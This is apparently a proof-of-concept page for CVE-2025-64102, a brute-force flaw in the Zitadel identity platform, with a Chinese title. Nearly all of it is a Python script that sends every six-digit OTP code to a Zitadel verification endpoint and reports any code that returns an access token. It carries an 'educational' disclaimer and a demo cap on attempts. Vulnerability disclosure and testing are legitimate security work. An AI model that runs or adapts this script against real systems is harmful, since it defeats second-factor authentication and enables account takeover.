CVE-2025-64102 Zitadel身份基础设施在线暴力攻击漏洞

import requests import time import itertools # CVE-2025-64102 PoC - Zitadel OTP/TOTP Online Brute Force Attack # This PoC demonstrates the vulnerability in Zitadel authentication TARGET_URL = "https://your-zitadel-instance.com" TARGET_USER = "[email protected]" # Common OTP/TOTP patterns to try otp_patterns = [ f"{i:06d}" for i in range(1000000) # 6-digit OTPs ] def attempt_login(otp_code): """Attempt authentication with provided OTP code""" endpoint = f"{TARGET_URL}/auth/v1/users/{TARGET_USER}/otp_verify" payload = { "code": otp_code, "user_id": TARGET_USER } try: response = requests.post(endpoint, json=payload, timeout=5) if response.status_code == 200 and "access_token" in response.text: print(f"[SUCCESS] Valid OTP found: {otp_code}") return True except requests.exceptions.RequestException: pass return False def brute_force_otp(): """Brute force attack against Zitadel OTP authentication""" print(f"[*] Starting OTP brute force attack against {TARGET_USER}") print(f"[*] Target: {TARGET_URL}") # Note: In real attack scenario, attacker would iterate through OTP codes # This PoC is for educational/security research purposes only for i, otp in enumerate(otp_patterns[:10000]): # Limited iterations for demo if attempt_login(otp): return otp if i % 1000 == 0: print(f"[*] Attempted {i} OTP codes...") time.sleep(0.1) # Minimal delay, showing lack of rate limiting print("[*] Attack completed without success (or limit reached)") return None if __name__ == "__main__": brute_force_otp()